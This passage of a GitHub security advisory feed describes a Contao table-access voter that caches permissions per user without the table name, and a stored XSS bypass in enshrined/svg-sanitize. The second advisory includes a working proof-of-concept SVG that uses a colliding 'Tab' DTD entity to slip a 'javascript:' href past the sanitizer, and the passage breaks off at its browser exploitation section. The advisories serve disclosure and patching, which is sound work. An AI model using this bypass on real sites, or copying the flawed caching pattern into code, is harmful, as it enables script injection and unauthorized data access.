  </description><link>https://github.com/advisories/GHSA-q6wp-fr43-gm9v</link><guid isPermaLink="false">https://github.com/advisories/GHSA-q6wp-fr43-gm9v</guid><pubDate>Fri, 09 Oct 2026 20:53:46 GMT</pubDate></item><item><title>Contao: Improper access control in the table access voter</title><description>&lt;p&gt;Due to a caching defect in the security voter that governs table-level access to Contao&#39;s Data Container (DCA) backend, a low-privileged, non-admin backend user can obtain unauthorized read, create, update, and delete access to database tables outside their assigned module permissions. This includes tables containing sensitive personal data, such as frontend member records and newsletter subscriber e-mail addresses.&lt;/p&gt;
&lt;h3&gt;Vulnerability Details&lt;/h3&gt;
&lt;p&gt;In plain terms: Contao&#39;s backend is organized into modules (e.g. &quot;News&quot;, &quot;Members&quot;). Every backend user is assigned to a group, and that group decides which modules, and therefore which database tables, they are allowed to work with. Before Contao lets a user touch a table, it is supposed to check: &quot;does this user&#39;s group actually include this table?&quot;&lt;/p&gt;
&lt;p&gt;To avoid doing that check over and over, Contao remembers the answer for the rest of the request. The problem is that it remembers the answer under the wrong label. Instead of remembering &quot;is this user allowed to access table X&quot;, it only remembers &quot;is this user allowed to access something&quot;, without recording which table the answer was actually about.&lt;/p&gt;
&lt;p&gt;So if a request first checks a table the user IS allowed to see, and then checks a second, completely different table the user is NOT allowed to see, Contao reuses the first answer for the second table too. The user ends up with access to a table their group was never given permission for.&lt;/p&gt;
&lt;h3&gt;Technical detail&lt;/h3&gt;
&lt;p&gt;Contao&#39;s backend enforces per-table access control through a chain of Symfony security voters. The relevant one is&lt;br&gt;
&lt;code class=&quot;notranslate&quot;&gt;TableAccessVoter::hasAccessToModule()&lt;/code&gt;, in &lt;code class=&quot;notranslate&quot;&gt;core-bundle/src/Security/Voter/DataContainer/TableAccessVoter.php&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;    &lt;span class=&quot;pl-k&quot;&gt;private&lt;/span&gt; array &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;canAccessTable&lt;/span&gt; = [];
    &lt;span class=&quot;pl-k&quot;&gt;private&lt;/span&gt; array &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;canReadAccessTable&lt;/span&gt; = [];
 
    &lt;span class=&quot;pl-k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;hasAccessToModule&lt;/span&gt;(&lt;span class=&quot;pl-smi&quot;&gt;&lt;span class=&quot;pl-smi&quot;&gt;TokenInterface&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;token&lt;/span&gt;, ...): &lt;span class=&quot;pl-smi&quot;&gt;bool&lt;/span&gt;
    {
        &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;tokenHash&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;hash&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;xxh128&lt;/span&gt;&#39;&lt;/span&gt;, &lt;span class=&quot;pl-en&quot;&gt;serialize&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;token&lt;/span&gt;));
 
        &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;pl-en&quot;&gt;isset&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;canAccessTable&lt;/span&gt;[&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;tokenHash&lt;/span&gt;]) || (&lt;span class=&quot;pl-c1&quot;&gt;.&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;.&lt;/span&gt;)) {
            &lt;span class=&quot;pl-k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;canAccessTable&lt;/span&gt;[&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;tokenHash&lt;/span&gt;] ?? &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;canReadAccessTable&lt;/span&gt;[&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;tokenHash&lt;/span&gt;];
        }
 
        &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;table&lt;/span&gt; = &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;subject&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;getDataSource&lt;/span&gt;();
 
        &lt;span class=&quot;pl-k&quot;&gt;foreach&lt;/span&gt; (&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;GLOBALS&lt;/span&gt;&lt;/span&gt;[&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;BE_MOD&lt;/span&gt;&#39;&lt;/span&gt;] &lt;span class=&quot;pl-k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;modules&lt;/span&gt;) {
            &lt;span class=&quot;pl-c1&quot;&gt;.&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;.&lt;/span&gt;
            &lt;span class=&quot;pl-k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-c1&quot;&gt;canAccessTable&lt;/span&gt;[&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;tokenHash&lt;/span&gt;] = &lt;span class=&quot;pl-c1&quot;&gt;true&lt;/span&gt;;  &lt;span class=&quot;pl-c&quot;&gt;// or false&lt;/span&gt;
        }
    }&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The cache key, &lt;code class=&quot;notranslate&quot;&gt;$tokenHash&lt;/code&gt;, is built only from the current user&#39;s security token. It does not include the table being checked. Because &lt;code class=&quot;notranslate&quot;&gt;TableAccessVoter&lt;/code&gt; is a normal, shared Symfony service, this cache stays alive for the whole duration of one HTTP request. So the first table checked for a user in a request decides the cached answer for every other table checked afterwards in that same request, whether or not that answer is actually correct for the second table.&lt;/p&gt;
&lt;p&gt;This is made worse by &lt;code class=&quot;notranslate&quot;&gt;DefaultDataContainerVoter&lt;/code&gt;, a low-priority, permissive fallback voter that grants access to any table-related permission unless another voter explicitly denies it. When &lt;code class=&quot;notranslate&quot;&gt;TableAccessVoter&lt;/code&gt; gives a wrong &quot;no opinion&quot; answer because of the stale cache, this fallback voter turns that into a full grant.&lt;/p&gt;
&lt;p&gt;Most database tables in Contao have no second, table-specific check to catch this. Only &lt;code class=&quot;notranslate&quot;&gt;tl_content&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tl_favorites&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tl_form&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tl_form_field&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tl_module&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tl_image_size(_item)&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tl_job&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tl_layout&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tl_page&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tl_preview_link&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tl_undo&lt;/code&gt;, and &lt;code class=&quot;notranslate&quot;&gt;tl_user&lt;/code&gt; have one. Tables such as &lt;code class=&quot;notranslate&quot;&gt;tl_member&lt;/code&gt; (website member data), &lt;code class=&quot;notranslate&quot;&gt;tl_newsletter_recipients&lt;/code&gt; (subscriber e-mail addresses), &lt;code class=&quot;notranslate&quot;&gt;tl_news&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tl_calendar_events&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;tl_faq&lt;/code&gt;, and &lt;code class=&quot;notranslate&quot;&gt;tl_comments&lt;/code&gt; rely only on the defective check described above.&lt;/p&gt;
&lt;h3&gt;Credits&lt;/h3&gt;
&lt;p&gt;This security vulnerability was found by Sven Jäger of SySS GmbH.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-5974-gfqc-wrcm&quot; href=&quot;https://github.com/contao/contao/security/advisories/GHSA-5974-gfqc-wrcm&quot;&gt;GHSA-5974-gfqc-wrcm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/contao/contao/commit/9d6f582a4cc6a758ce11d1043fc9c0ba62c5f4c9/hovercard&quot; href=&quot;https://github.com/contao/contao/commit/9d6f582a4cc6a758ce11d1043fc9c0ba62c5f4c9&quot;&gt;contao/contao@&lt;tt&gt;9d6f582&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/contao/contao/releases/tag/5.7.12&quot;&gt;https://github.com/contao/contao/releases/tag/5.7.12&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-5974-gfqc-wrcm</link><guid isPermaLink="false">https://github.com/advisories/GHSA-5974-gfqc-wrcm</guid><pubDate>Fri, 09 Oct 2026 20:53:42 GMT</pubDate></item><item><title>enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision</title><description>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;A crafted SVG bypasses &lt;code class=&quot;notranslate&quot;&gt;enshrined/svg-sanitize&lt;/code&gt;&#39;s href validation and delivers a &lt;code class=&quot;notranslate&quot;&gt;javascript:&lt;/code&gt; URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected installations:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;enshrined/svg-sanitize:&lt;/strong&gt; 45.2M Packagist downloads, 1.3M/month, 90+ dependents&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WordPress Safe SVG plugin:&lt;/strong&gt; 1M+ active installs (inline SVG rendering via themes)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TYPO3, Drupal&lt;/strong&gt; and 90+ other Packagist dependents&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Vulnerability Details&lt;/h2&gt;
&lt;h3&gt;Mechanism&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-xml&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&amp;lt;!ENTITY Tab &quot;#&quot;&amp;gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In XML, &lt;code class=&quot;notranslate&quot;&gt;&amp;amp;Tab;&lt;/code&gt; expands to the literal string &lt;code class=&quot;notranslate&quot;&gt;&quot;#&quot;&lt;/code&gt; (from the DTD definition).&lt;br&gt;
In HTML5, &lt;code class=&quot;notranslate&quot;&gt;&amp;amp;Tab;&lt;/code&gt; is a Named Character Reference that resolves to U+0009 (TAB character).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The SVG uses this entity in an href:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-xml&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;href&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;&amp;amp;Tab;&lt;/span&gt;javascript:alert(document.domain)&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&amp;gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;During sanitization&lt;/strong&gt; (XML context): &lt;code class=&quot;notranslate&quot;&gt;&amp;amp;Tab;&lt;/code&gt; → &lt;code class=&quot;notranslate&quot;&gt;&quot;#&quot;&lt;/code&gt; → the sanitizer sees &lt;code class=&quot;notranslate&quot;&gt;href=&quot;#javascript:alert(document.domain)&quot;&lt;/code&gt; → starts with &lt;code class=&quot;notranslate&quot;&gt;#&lt;/code&gt; → &lt;code class=&quot;notranslate&quot;&gt;isHrefSafeValue()&lt;/code&gt; returns &lt;strong&gt;TRUE&lt;/strong&gt; → passes through.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sanitizer output:&lt;/strong&gt; &lt;code class=&quot;notranslate&quot;&gt;saveXML()&lt;/code&gt; outputs the entity reference &lt;code class=&quot;notranslate&quot;&gt;&amp;amp;Tab;&lt;/code&gt; (not the expanded value), and strips the DOCTYPE declaration.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;In the browser&lt;/strong&gt; (HTML5 context): Without the DOCTYPE, &lt;code class=&quot;notranslate&quot;&gt;&amp;amp;Tab;&lt;/code&gt; is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → &lt;code class=&quot;notranslate&quot;&gt;javascript:alert(document.domain)&lt;/code&gt; &lt;strong&gt;executes&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Root Cause (Sanitizer.php)&lt;/h3&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-c&quot;&gt;// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)&lt;/span&gt;
&lt;span class=&quot;pl-k&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;isHrefSafeValue&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;value&lt;/span&gt;) {
    &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;#&lt;/span&gt;&#39;&lt;/span&gt; === &lt;span class=&quot;pl-en&quot;&gt;substr&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;value&lt;/span&gt;, &lt;span class=&quot;pl-c1&quot;&gt;0&lt;/span&gt;, &lt;span class=&quot;pl-c1&quot;&gt;1&lt;/span&gt;)) {
        &lt;span class=&quot;pl-k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;true&lt;/span&gt;;  &lt;span class=&quot;pl-c&quot;&gt;// Fragment identifier — &quot;safe&quot;&lt;/span&gt;
    }
    &lt;span class=&quot;pl-c&quot;&gt;// ...&lt;/span&gt;
}

&lt;span class=&quot;pl-c&quot;&gt;// But saveXML() preserves the entity REFERENCE, not the expanded value&lt;/span&gt;
&lt;span class=&quot;pl-c&quot;&gt;// And the DOCTYPE (which defines the entity) is stripped from output&lt;/span&gt;
&lt;span class=&quot;pl-c&quot;&gt;// → semantic mismatch between validation and output contexts&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;h3&gt;Malicious SVG (xss.svg)&lt;/h3&gt;
&lt;div class=&quot;highlight highlight-text-xml&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&amp;lt;!&lt;span class=&quot;pl-ent&quot;&gt;DOCTYPE&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;svg&lt;/span&gt; [&amp;lt;!&lt;span class=&quot;pl-k&quot;&gt;ENTITY&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;Tab&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;#&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&amp;gt;]&amp;gt;
&amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;svg&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;xmlns&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;http://www.w3.org/2000/svg&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;viewBox&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;0 0 400 120&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&amp;gt;
  &amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;href&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;&amp;amp;Tab;&lt;/span&gt;javascript:alert(document.domain)&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&amp;gt;
    &amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;rect&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;width&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;400&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;height&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;120&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;fill&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;#c00&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;rx&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;12&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;/&amp;gt;
    &amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;text&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;x&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;200&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;y&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;65&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;fill&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;white&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;font-size&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;20&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;text-anchor&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;middle&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&amp;gt;CLICK ME&amp;lt;/&lt;span class=&quot;pl-ent&quot;&gt;text&lt;/span&gt;&amp;gt;
  &amp;lt;/&lt;span class=&quot;pl-ent&quot;&gt;a&lt;/span&gt;&amp;gt;
&amp;lt;/&lt;span class=&quot;pl-ent&quot;&gt;svg&lt;/span&gt;&amp;gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Sanitizer processing&lt;/h3&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-ent&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;pl-k&quot;&gt;require_once&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;vendor/autoload.php&lt;/span&gt;&#39;&lt;/span&gt;;

&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;svg&lt;/span&gt; = &lt;span class=&quot;pl-en&quot;&gt;file_get_contents&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&#39;&lt;span class=&quot;pl-s&quot;&gt;xss.svg&lt;/span&gt;&#39;&lt;/span&gt;);
&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;sanitizer&lt;/span&gt; = &lt;span class=&quot;pl-k&quot;&gt;new&lt;/span&gt; \&lt;span class=&quot;pl-v&quot;&gt;enshrined&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;svgSanitize&lt;/span&gt;\&lt;span class=&quot;pl-v&quot;&gt;Sanitizer&lt;/span&gt;();
&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;clean&lt;/span&gt; = &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;sanitizer&lt;/span&gt;-&amp;gt;&lt;span class=&quot;pl-en&quot;&gt;sanitize&lt;/span&gt;(&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;svg&lt;/span&gt;);
&lt;span class=&quot;pl-k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;$&lt;/span&gt;clean&lt;/span&gt;;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-xml&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;svg&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;xmlns&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;http://www.w3.org/2000/svg&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;viewBox&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;0 0 400 120&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&amp;gt;
  &amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;href&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;&amp;amp;Tab;&lt;/span&gt;javascript:alert(document.domain)&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&amp;gt;
    &amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;rect&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;width&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;400&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;height&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;120&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;fill&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;#c00&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;rx&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;12&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;/&amp;gt;
    &amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;text&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;x&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;200&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;y&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;65&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;fill&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;white&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;font-size&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;20&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;text-anchor&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;middle&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&amp;gt;CLICK ME&amp;lt;/&lt;span class=&quot;pl-ent&quot;&gt;text&lt;/span&gt;&amp;gt;
  &amp;lt;/&lt;span class=&quot;pl-ent&quot;&gt;a&lt;/span&gt;&amp;gt;
&amp;lt;/&lt;span class=&quot;pl-ent&quot;&gt;svg&lt;/span&gt;&amp;gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code class=&quot;notranslate&quot;&gt;javascript:&lt;/code&gt; href passes through the sanitizer. The DOCTYPE is stripped, but the &lt;code class=&quot;notranslate&quot;&gt;&amp;amp;Tab;&lt;/code&gt; entity reference is preserved.&lt;/p&gt;
&lt;h3&gt;Browser exploitation&lt;/h3&gt;
